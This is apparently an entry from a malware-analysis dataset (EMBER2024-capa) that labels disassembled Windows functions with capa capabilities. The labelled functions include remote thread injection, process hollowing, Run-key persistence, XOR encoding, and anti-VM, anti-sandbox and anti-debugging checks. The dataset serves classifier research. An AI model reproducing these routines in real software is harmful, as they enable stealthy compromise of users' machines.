joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40568c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
mov edx, dword [0x404d54]
call fcn.00403ce0
xor eax, eax
push ebp
push 0x40579d
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
mov eax, dword [ebp - 8]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edi, eax
mov esi, 0x10000000
add esi, 0x10000
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
mov eax, dword [edi + 0x34]
add eax, esi
push eax
call sub.kernel32.dll_VirtualAlloc_1
mov ebx, eax
test ebx, ebx
je 0x405725
push 0x8000
push 0
push ebx
call sub.kernel32.dll_VirtualFree_1
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
mov eax, dword [edi + 0x34]
add eax, esi
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov ebx, eax
test ebx, ebx
jne 0x405731
cmp esi, 0x30000000
jbe 0x4056da
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 8]
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.00405458
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x405781
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x10], edx
lea edx, [ebp - 0x18]
push edx
mov edx, dword [ebp - 0x28]
push edx
push eax
push ebx
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_WriteProcessMemory
push 8
push 0
lea ecx, [ebp - 0x14]
mov edx, 0x405664
mov eax, dword [ebp - 4]
call fcn.00404e44
test eax, eax
je 0x405781
mov byte [ebp - 9], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4057a4
lea eax, [ebp - 0x2c]
mov edx, dword [0x404d54]
call fcn.00403da4
ret

Function at 0x405874
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403ab4
xor eax, eax
push ebp
push 0x4058e3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004038c4
mov esi, eax
test esi, esi
jle 0x4058c3
mov ebx, 1
lea eax, [ebp - 4]
call fcn.00403b1c
mov edx, dword [ebp - 4]
mov dl, byte [edx + ebx - 1]
xor dl, 0xbc
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x4058a9
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.004037a4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4058ea
lea eax, [ebp - 4]
call fcn.00403750
ret
Function at 0x40618c
Capabilities:
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403ab4
xor eax, eax
push ebp
push 0x40622b
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
call fcn.004064c8
test al, al
je 0x406215
xor eax, eax
push ebp
push 0x40620b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00403ac4
mov esi, eax
push esi
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
and bl, 2
and bl, 1
and bl, 4
xor eax, eax
mov al, bl
push eax
push esi
call sub.kernel32.dll_SetFileAttributesA
push esi
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x406215
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406232
lea eax, [ebp - 4]
call fcn.00403750
ret

Function at 0x406294
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4062f4
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x40630c
call fcn.004037e8
lea eax, [ebp - 8]
mov edx, ebx
call fcn.004037e8
push 0
push esi
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, 0x80000001
call fcn.0040684c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4062fb
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403774
ret

Function at 0x406410
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00403ab4
mov eax, dword [ebp - 8]
call fcn.00403ab4
mov eax, dword [ebp + 8]
call fcn.00403ab4
xor eax, eax
push ebp
push 0x4064b5
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00403ac4
push eax
push esi
call sub.advapi32.dll_RegCreateKeyA
mov eax, dword [ebp + 8]
call fcn.004038c4
push eax
mov eax, dword [ebp + 8]
call fcn.00403ac4
push eax
push 2
push 0
mov eax, dword [ebp - 8]
call fcn.00403ac4
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
jne 0x406489
mov bl, 1
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4064bc
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403774
lea eax, [ebp + 8]
call fcn.00403750
ret
Function at 0x406534
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403ab4
mov eax, dword [ebp - 8]
call fcn.00403ab4
xor eax, eax
push ebp
push 0x4065ce
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 2
push 0
push 2
push 0x40000000
mov eax, dword [ebp - 4]
call fcn.00403ac4
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4065b3
cmp esi, 0xffffffff
jne 0x406597
push 0
push 0
push 0
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 8]
call fcn.00403b1c
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4065d5
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403774
ret

Function at 0x40684c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00403ab4
mov eax, dword [ebp - 8]
call fcn.00403ab4
mov eax, dword [ebp + 0xc]
call fcn.00403ab4
xor eax, eax
push ebp
push 0x40692b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, dword [ebp + 0xc]
call fcn.004037a4
lea eax, [ebp - 0xc]
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00403ac4
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x406908
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.00403ac4
mov esi, eax
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4068ff
mov eax, ebx
mov edx, dword [ebp - 0x14]
call fcn.00403bf4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx]
call fcn.00403ac4
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov edx, dword [ebp - 0x14]
dec edx
mov eax, ebx
call fcn.00403bf4
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406932
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403774
lea eax, [ebp + 0xc]
call fcn.00403750
ret

Function at 0x4069f4
Capabilities:
Delete file

Disassembly:
push ebx
add esp, 0xffffff00
mov ebx, eax
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push 0x406a4c
call sub.kernel32.dll_CreateFileA
push eax
call sub.kernel32.dll_CloseHandle
push esp
push 0
push 0x406a4c
call sub.shell32.dll_FindExecutableA
push 0x406a4c
call sub.kernel32.dll_DeleteFileA
mov eax, ebx
mov edx, esp
mov ecx, pe_nt_image_headers32
call fcn.004038ac
add esp, 0x100
pop ebx
ret

Function at 0x406cd0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00403ac4
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x406ce9
test al, 0x10
jne 0x406ced
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret
Function at 0x406fcc
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x407055
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403750
mov dword [ebp - 4], 0x64
mov eax, dword [ebp - 4]
call fcn.0040282c
mov ebx, eax
lea eax, [ebp - 4]
push eax
push ebx
call sub.advapi32.dll_GetUserNameA
lea eax, [ebp - 0x108]
mov edx, ebx
call fcn.00402ca0
lea edx, [ebp - 0x108]
lea eax, [ebp - 8]
call fcn.004038a0
mov edx, dword [ebp - 8]
mov eax, esi
mov ecx, 0x40706c
call fcn.00403910
mov eax, ebx
call fcn.0040285c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40705c
lea eax, [ebp - 8]
call fcn.00403750
ret

Function at 0x407070
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x4070f9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403750
mov dword [ebp - 4], 0x64
mov eax, dword [ebp - 4]
call fcn.0040282c
mov ebx, eax
lea eax, [ebp - 4]
push eax
push ebx
call sub.advapi32.dll_GetUserNameA
lea eax, [ebp - 0x108]
mov edx, ebx
call fcn.00402ca0
lea edx, [ebp - 0x108]
lea eax, [ebp - 8]
call fcn.004038a0
mov edx, dword [ebp - 8]
mov eax, esi
mov ecx, 0x407110
call fcn.00403910
mov eax, ebx
call fcn.0040285c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407100
lea eax, [ebp - 8]
call fcn.00403750
ret

Function at 0x407114
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x407189
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403750
mov dword [ebp - 4], 0x64
mov eax, dword [ebp - 4]
call fcn.0040282c
mov ebx, eax
lea eax, [ebp - 4]
push eax
push ebx
call sub.advapi32.dll_GetUserNameA
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00403870
mov edx, dword [ebp - 8]
mov eax, esi
mov ecx, 0x4071a0
call fcn.00403910
mov eax, ebx
call fcn.0040285c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407190
lea eax, [ebp - 8]
call fcn.00403750
ret

Function at 0x4078ac
Capabilities:
Reference the vmware io port

Disassembly:
xor eax, eax
push 0x4078d4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x564d5868
mov ebx, 0x3c6cf712
mov ecx, 0xa
mov dx, 0x5658
in eax, dx
mov eax, 1
jmp 0x4078e7
xor ebx, ebx
pop dword fs:[ebx]
add esp, 4
ret

Function at 0x4078f0
Capabilities:
Check for vm using instruction vpcext

Disassembly:
push ebp
mov ecx, 0x40793a
mov ebp, esp
push ebx
push ecx
push dword fs:[0]
mov dword fs:[0], esp
mov ebx, 0
mov eax, 1
invalid

Function at 0x407a74
Capabilities:
Check for sandbox and av modules

Disassembly:
push ebx
xor ebx, ebx
push 0x407a8c
call sub.kernel32.dll_GetModuleHandleA_1
test eax, eax
je 0x407a87
mov bl, 1
mov eax, ebx
pop ebx
ret
Function at 0x407a98
Capabilities:
Check for sandbox and av modules

Disassembly:
push ebx
xor ebx, ebx
push 0x407ab0
call sub.kernel32.dll_GetModuleHandleA_1
test eax, eax
je 0x407aab
mov bl, 1
mov eax, ebx
pop ebx
ret

Function at 0x407abc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffef4
xor ebx, ebx
push esp
push 1
push 0
push 0x407b24
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x407b0f
mov dword [esp + 4], 0x101
lea eax, [esp + 4]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x407b50
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
lea eax, [esp + 8]
cmp eax, 0x407b5c
jne 0x407b0f
mov bl, 1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
add esp, 0x10c
pop ebx
ret

Function at 0x407b74
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffef4
xor ebx, ebx
push esp
push 1
push 0
push 0x407bdc
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x407bc7
mov dword [esp + 4], 0x101
lea eax, [esp + 4]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x407c08
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
lea eax, [esp + 8]
cmp eax, 0x407c14
jne 0x407bc7
mov bl, 1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
add esp, 0x10c
pop ebx
ret

Function at 0x407c2c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffef4
xor ebx, ebx
push esp
push 1
push 0
push 0x407c94
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x407c7f
mov dword [esp + 4], 0x101
lea eax, [esp + 4]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x407cc0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
lea eax, [esp + 8]
cmp eax, 0x407ccc
jne 0x407c7f
mov bl, 1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
add esp, 0x10c
pop ebx
ret

Function at 0x407e0c
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov eax, dword fs:[0x30]
movzx eax, byte [eax + 2]
or al, al
je 0x407e23
jne 0x407e2a
mov dword [ebp - 4], 1
mov dword [ebp - 8], 1
cmp dword [ebp - 8], 1
jne 0x407e39
mov dl, 1
cmp dword [ebp - 4], 1
jne 0x407e41
xor edx, edx
mov eax, edx
pop ecx
pop ecx
pop ebp
ret

Function at 0x407e64
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
xor eax, eax
push ebp
push 0x407eba
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x407ed0
call fcn.004037e8
push 0
push dword [ebp - 4]
mov eax, dword fs:[0x30]
movzx eax, byte [eax + 2]
or al, al
jne 0x407e9d
xor eax, eax
leave
ret
mov eax, 1
leave
ret

Function at 0x407ef8
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
add dword [eax + 0x20], 0x2000
ret
Function at 0x408134
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
mov ebx, ecx
mov esi, edx
xor eax, eax
push ebp
push 0x40820a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea eax, [ebp - 4]
push eax
push 0
push 2
push 0
push 0
push 0
lea eax, [ebp - 0xc]
mov edx, esi
call fcn.00403870
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 8]
mov edx, 0x408220
call fcn.00403910
mov eax, dword [ebp - 8]
call fcn.00403ac4
push eax
push 0x80000002
call sub.advapi32.dll_RegCreateKeyExA
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00403870
mov eax, dword [ebp - 0x10]
call fcn.004038c4
mov esi, eax
mov eax, dword [0x40a0ac]
call fcn.004038c4
add esi, eax
push esi
lea eax, [ebp - 0x14]
mov edx, ebx
call fcn.00403870
lea eax, [ebp - 0x14]
mov edx, dword [0x40a0ac]
call fcn.004038cc
mov eax, dword [ebp - 0x14]
call fcn.00403ac4
push eax
push 1
push 0
push 0x408258
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408211
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00403774
ret

Function at 0x408264
Capabilities:
Delete registry key

Disassembly:
push ebx
push ecx
mov ebx, edx
push esp
push 0x20006
push 0
push 0x408298
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA_1
push ebx
mov eax, dword [esp + 4]
push eax
call sub.advapi32.dll_RegDeleteKeyA
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
pop edx
pop ebx
ret
Function at 0x408a34
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x408b8f
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
je 0x408b74
push 0x408ba0
push 0x408bac
call sub.kernel32.dll_GetModuleHandleA_1
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0x18], eax
push 0x408bbc
push 0x408bac
call sub.kernel32.dll_GetModuleHandleA_1
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0x14], eax
push 0x408bc8
push 0x408bac
call sub.kernel32.dll_GetModuleHandleA_1
push eax
call sub.kernel32.dll_GetProcAddress
mov dword [ebp - 0x10], eax
push 0x40
push 0x3000
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.00402ae4
mov eax, dword [ebp - 0x1c]
call fcn.004038c4
inc eax
push eax
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov esi, eax
mov dword [ebp - 0xc], esi
lea eax, [ebp - 4]
push eax
lea edx, [ebp - 0x20]
xor eax, eax
call fcn.00402ae4
mov eax, dword [ebp - 0x20]
call fcn.004038c4
inc eax
push eax
lea edx, [ebp - 0x24]
xor eax, eax
call fcn.00402ae4
mov eax, dword [ebp - 0x24]
call fcn.00403ac4
push eax
push esi
push ebx
call sub.kernel32.dll_WriteProcessMemory
push 0x40
push 0x3000
push 0x10
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x10
lea eax, [ebp - 0x18]
push eax
push esi
push ebx
call sub.kernel32.dll_WriteProcessMemory
cmp dword [ebp - 4], 0x10
jne 0x408b74
push 0x40
push 0x3000
push 0x1f4
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
lea eax, [ebp - 4]
push eax
push 0x1f4
push 0x408a00
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
cmp dword [ebp - 4], 0x1f4
jne 0x408b74
lea eax, [ebp - 8]
push eax
push 0
push esi
push edi
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
test eax, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408b96
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.00403774
ret
Function at 0x4094dc
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff9c
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x64], eax
xor eax, eax
push ebp
push 0x4095fd
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x64]
call fcn.00407114
mov eax, dword [ebp - 0x64]
call fcn.00403ac4
mov edx, eax
lea eax, [ebp - 0x60]
call fcn.00403870
mov ecx, dword [ebp - 0x60]
mov edx, dword [0x40a108]
mov edx, dword [edx]
lea eax, [ebp - 0x5c]
call fcn.00403910
mov eax, dword [ebp - 0x5c]
call fcn.00403ac4
push eax
push 0
push 0
call fcn.00404b80
mov ebx, eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x409555
push ebx
call sub.kernel32.dll_CloseHandle
jmp 0x4095e2
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x40a0d0]
call fcn.00403b1c
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0
push 0x40960c
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [ebp - 4]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
mov edx, esi
mov eax, ebx
call fcn.0040568c
test al, al
jne 0x4095e2
lea eax, [ebp - 0x58]
mov edx, 0x44
call fcn.00404ce0
lea eax, [ebp - 0x14]
mov edx, 0x10
call fcn.00404ce0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0x40961c
push 0
call sub.kernel32.dll_CreateProcessA
mov ebx, dword [ebp - 0x14]
mov edx, esi
mov eax, ebx
call fcn.0040568c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409604
lea eax, [ebp - 0x64]
mov edx, 3
call fcn.00403774
ret
Function at 0x41b2e4
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040acb0
mov eax, dword [0x4370f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00418fd0
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41b326
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41b482
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00426b00
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x441058]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.0041b70a
mov ecx, dword [esi*4 + 0x441058]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x41b47b
cmp eax, dword [edi + ecx + 0x24]
jne 0x41b47b
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41b47b
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041b70a
add esp, 0x14
test edx, edx
jl 0x41b47b
jg 0x41b3f1
test eax, eax
jb 0x41b47b
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41b47b
jl 0x41b40b
cmp dword [ebp - 0x1008], eax
ja 0x41b47b
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41b429
test ebx, ebx
je 0x41b462
cmp ecx, edi
jae 0x41b462
mov al, byte [ecx]
cmp al, 0xd
jne 0x41b443
lea eax, [edi - 1]
cmp ecx, eax
jae 0x41b44f
cmp byte [ecx + 1], 0xa
jne 0x41b44f
inc ecx
jmp 0x41b44f
movzx eax, al
movsx eax, byte [eax + 0x437a30]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41b429
cmp edx, ebx
jne 0x41b429
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x41b480
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00409e55
leave
ret
Function at 0x423b4d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x441058]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x423b8d
cmp byte [ebx], 0xa
jne 0x423b8d
or byte [eax + edi + 0x28], 4
jmp 0x423b92
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x423c90
mov al, byte [edx]
cmp al, 0x1a
je 0x423c72
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x423bc1
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x423be6
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x423bf0
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x423ba3
jmp 0x423c90
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x423c6d
cmp dword [ebp - 0xc], 0
je 0x423c6d
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x441058]
test byte [eax + edi + 0x28], 0x48
je 0x423c47
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x423c32
mov byte [esi], dl
jmp 0x423c43
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x441058]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x423c90
cmp byte [ebp - 1], 0xa
jne 0x423c56
cmp esi, ebx
jne 0x423c56
mov byte [esi], 0xa
jmp 0x423c8f
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041b728
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x423c90
mov byte [esi], 0xd
jmp 0x423c8f
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x441058]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x423c8c
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x423c90
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret